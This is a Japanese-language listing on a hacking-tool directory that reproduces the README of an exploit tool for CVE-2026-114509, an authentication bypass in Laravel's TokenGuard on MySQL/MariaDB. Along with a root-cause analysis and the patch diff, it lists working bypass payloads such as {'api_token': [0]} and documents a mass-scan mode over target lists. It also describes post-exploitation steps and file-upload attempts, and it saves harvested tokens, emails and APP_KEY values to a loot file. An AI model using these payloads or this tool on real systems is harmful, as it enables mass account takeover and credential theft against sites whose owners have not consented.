Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-114509 — Laravel TokenGuard における非文字列の API 認証情報を介した認証バイパス | Kitploit
ツール/GitHubGitHub/nxploited/cve-2026-114509
偵察脆弱性スキャナーウェブ脆弱性スキャナーエクスプロイトウェブアプリケーション悪用情報収集ポストエクスプロイトペネトレーションテスト認証
GitHubnxploited/cve-2026-114509

CVE-2026-114509

Laravel TokenGuard における非文字列の API 認証情報を介した認証バイパス

719時間29分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-114509

非文字列のAPI認証情報によるLaravel TokenGuard認証バイパス

🔴 CVE-2026-114509 — Laravel TokenGuard認証バイパス

Laravel Framework — TokenGuard APIガードにおける未認証の認証バイパス


📋 概要

CVE-2026-114509 は、Laravel Frameworkに組み込まれている TokenGuard における 重大な認証バイパス 脆弱性です。

MySQL または MariaDB 上で標準的なトークンベースのAPIガードを構成している場合、未認証の攻撃者が 細工された非文字列の認証情報(JSON配列)を送信すると、認証ルックアップが 意図しない既存ユーザー に一致してしまい、有効なAPIトークンを一切知らなくても 完全なアクセス権が付与されます。

これにより、影響を受けるガードで保護されたあらゆるルートにおいて 完全なアカウント乗っ取り が可能になります。


🛡️ 脆弱性の詳細

項目詳細
CVE IDCVE-2026-114509
GHSAGHSA-f9x3-7vq9-cph6
影響を受けるソフトウェアLaravel Framework (laravel/framework)
影響を受けるバージョン< 12.68.0 および >= 13.0.0, < 13.29.0
種類認証バイパス
CWECWE-287 — 不適切な認証
CWECWE-1287 — 指定された入力型の不適切な検証
CVSS 4.0スコア9.2 / 10 — 重大
CVSSベクターCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
認証不要(Pre-Auth)
条件MySQL / MariaDBバックエンド
パッチv12.68.0 / v13.29.0

⚙️ CVSS 4.0の内訳

指標値意味
攻撃ベクターネットワークインターネット経由でリモートから悪用可能
攻撃の複雑さ低MySQL/MariaDB以外に特別な条件は不要
攻撃要件ありMySQL/MariaDBの型変換動作が必要
必要な権限なし認証は不要
ユーザー操作なし被害者の操作は不要
機密性高認証済みユーザーデータへの完全な読み取りアクセス
完全性高バイパスされたユーザーとしてデータを変更可能
可用性高アカウント乗っ取りによりサービスを妨害可能

🔬 技術的分析

根本原因

これは、HTTPリクエストの解析、PHPフレームワークのロジック、およびSQLデータベースの動作の境界における 型混同 のバグです。3つのありふれた動作が組み合わさってこの脆弱性を生み出します。

  1. TokenGuardが非文字列入力を受け入れる — TokenGuard.php の user() メソッドは、is_string($token) && !empty($token) ではなく !empty($token) を使用しています。JSONリクエストボディでは、トークン値として配列や整数を指定できます。

  2. EloquentUserProviderがWHERE INクエリを構築する — retrieveByCredentials() が配列値を受け取ると、WHERE api_token = ... ではなく WHERE api_token IN (...) を生成します。

  3. MySQLの型変換 — MySQLは比較のために文字列カラムを数値に変換します。整数 0 は、数字で始まらない あらゆる 文字列(ほとんどのAPIトークンが該当)に一致します。これはMySQLがそれらの文字列を 0.0 にキャストするためです。

悪用チェーン

JSON Body: {"api_token": [0]}
        │
        ▼
TokenGuard::user()
  → getTokenForRequest()
  → !empty([0]) === true          ← Should reject non-string
        │
        ▼
EloquentUserProvider::retrieveByCredentials()
  → WHERE api_token IN (0)        ← Array becomes WHERE IN
        │
        ▼
MySQL Type Coercion
  → 0 == "wAWrHm..." → true      ← Int 0 matches any string token
        │
        ▼
first() returns User #1
  → check() === true
  → Authentication Bypassed ✓

攻撃フロー

┌──────────────────────────┐
│    Attacker (No Creds)   │
└────────────┬─────────────┘
             │
             │  POST /api/user
             │  Content-Type: application/json
             │  {"api_token": [0]}
             ▼
┌──────────────────────────┐
│    Laravel Application   │
│                          │
│  TokenGuard::user()      │
│    ↓ !empty([0]) = true  │
│  retrieveByCredentials() │
│    ↓ WHERE IN (0)        │
│  MySQL coercion          │
│    ↓ 0 matches strings   │
│  Returns first user      │
│    ↓ Authenticated ✓     │
│                          │
└────────────┬─────────────┘
             │
             │  200 OK
             │  {"id":1, "name":"Admin",
             │   "email":"[email protected]",
             │   "api_token":"wAWrHm..."}
             ▼
┌──────────────────────────┐
│  Full Account Takeover   │
│  • User data exposed     │
│  • API token leaked      │
│  • Admin access possible │
└──────────────────────────┘

修正

Laravel は TokenGuard.php に型チェックを追加することで修正しました — トークンが文字列でない場合、ガードは即座に null を返し、ユーザープロバイダーを呼び出すことはありません:

// Before (vulnerable)
$token = $this->getTokenForRequest();
if (! empty($token)) { ... }

// After (fixed)
$token = $this->getTokenForRequest();
if (! is_string($token) || empty($token)) { return; }

🚀 使用方法

要件

  • Python 3.7+
  • requests
  • rich(色付きターミナル出力用)

インストール

git clone https://github.com/Nxploited/CVE-2026-114509.git
cd CVE-2026-114509
pip install requests rich

モード

このツールは マススキャン と 単一ターゲット の詳細プローブという2つのモードをサポートしています。


🔍 モード1: マススキャン

ターゲットのリストをスキャンして脆弱性を検出します:

python CVE-2026-114509.py scan targets.txt

オプション:

python CVE-2026-114509.py scan targets.txt --threads 60 --timeout 12
フラグデフォルト説明
targets(必須)ターゲットURLを記載したファイル(1行に1つ)
--threads60同時実行スレッド数
--timeout12リクエストのタイムアウト(秒)

ターゲットファイルの形式 (targets.txt):

https://target1.com
https://target2.com
http://192.168.1.100:8080
target3.com

スキームのないターゲットはデフォルトで https:// になります。

出力ファイル(スクリプトディレクトリに作成されます):

ファイル内容
LV_DETECTED.txt検出されたすべての Laravel アプリケーション
LV_BYPASS.txt確認された認証バイパス
LV_UPLOAD.txtアップロード試行の結果
LV_LOOT.txt抽出されたデータ(トークン、メールアドレス、APP_KEY、ユーザーデータ)

🎯 モード 2: 単一ターゲット

詳細出力を有効にして単一のターゲットを詳細にプローブします:

python CVE-2026-114509.py single https://target.com

オプション:

python CVE-2026-114509.py single https://target.com --timeout 15

これは4つのフェーズすべてを詳細な出力とともに順番に実行します:

Phase 1: Laravel Detection...
  + laravel_session
  + XSRF-TOKEN
  + api:401

Phase 2: Auth Bypass (14 routes, 3 keys, 6 payloads)...
  SUCCESS /api/user [POST] [api_token=[0]]
    id: 1
    name: Admin
    email: [email protected]
    api_token: wAWrHmHkVV...

Phase 3: Post-Exploitation...
  users-list /api/users -> count=15
  panel:nova /nova/api/dashboards

Phase 4: File Upload (52 routes)...

Summary:
  Laravel: Yes (3 signals)
  Bypass:  Yes
  Upload:  0 attempts, 0 verified

🔗 エクスプロイトチェーン

このツールは 4フェーズのチェーン を実行します:

フェーズ説明詳細
フェーズ 1🔍 Laravel 検出Cookie フィンガープリンティング、.env の露出、API エンドポイントのプロービング、デバッグツール
フェーズ 2🔓 認証バイパス14 の API ルート × 3 のトークンキー × 6 のペイロード = ターゲットごとに 252 通りの組み合わせ
フェーズ 3📡 ポストエクスプロイトユーザー一覧取得、権限昇格、トークン抽出、管理パネルの探索
フェーズ 4📤 ファイルアップロードマルチパートアップロード、アバター更新、JSON base64、ストレージ PUT、Livewire、署名付き URL

バイパスペイロード

ペイロードラベルメカニズム
{"api_token": [0]}[0]配列 → WHERE IN (0) → MySQL の型変換によりすべての文字列トークンが一致
{"api_token": [0, ""]}[0,'']より広範な一致 — 空トークンのエッジケースをカバー
{"api_token": 0}int:0生の整数 — 一部の設定
{"api_token": [null]}[null]配列内の null
{"api_token": [false]}[false]ブール値 false のキャスト
{"api_token": true}bool:trueブール値 true — WHERE api_token = 1 に一致

📚 参考文献

ツールをダウンロード